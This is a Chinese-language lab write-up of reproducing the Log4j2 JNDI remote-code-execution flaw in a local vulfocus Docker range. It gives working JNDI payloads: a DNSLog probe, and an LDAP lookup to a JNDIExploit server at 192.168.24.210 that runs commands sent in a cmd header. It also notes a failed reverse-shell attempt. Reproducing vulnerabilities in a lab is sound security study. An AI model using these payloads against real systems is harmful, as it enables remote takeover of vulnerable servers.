本次用vulfocus/log4j2-rce-2021-12-09镜像本地搭建靶场,利用 JNDIExploit-1.2-SNAPSHOT.jar 、 ldap://192.168.24.210:1389/TomcatBypass/TomcatEcho命令,开启LDAP服务,对 提交的payload进行URL编码,由于靶场镜像jdk版本过高,反弹shell失败。
一、靶场搭建
1、使用docker搭建vulfocus的漏洞靶场
docker pull vulfocus/log4j2-rce-2021-12-09:latest
docker run -d -p 8081:8080 vulfocus/log4j2-rce-2021-12-09:latest
2、访问靶场
http://safe.***.**:8081/hello?payload=111

二、漏洞验证
1、使用DNSLog验证漏洞
通过DNSLog.cn 平台获取到域名 https://zedjvd.dnslog.cn/ ,构造payload=${jndi:ldap:// zedjvd.dnslog.cn },并使用Burpsuite进行抓包并替换payload参数, 此时若直接发包会导致服务器400错误 :

2、通过Burpsuite自带的编码工具对其进行URL编码

或者用其它工具编码
http://tool.chinaz.com/tools/urlencode.aspx

3、在DNSLog网站成功接收到解析记录,说明漏洞存在。
三、漏洞利用
1、用JNDIExploit启一个ldap的服务
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.24.210 -p 8888
2、payload提交
接着将payload更改如下:
payload=${jndi:ldap://192.168.24.210:1389/TomcatBypass/TomcatEcho}
在请求头中添加cmd字段,后面跟上需要执行的命令:
如下说明漏洞利用成功。


3、shell反弹测试
使用多种方法,测试失败,原因为容器中的JDK版本过高,导致log4j的LDAP和RMI能力都失效。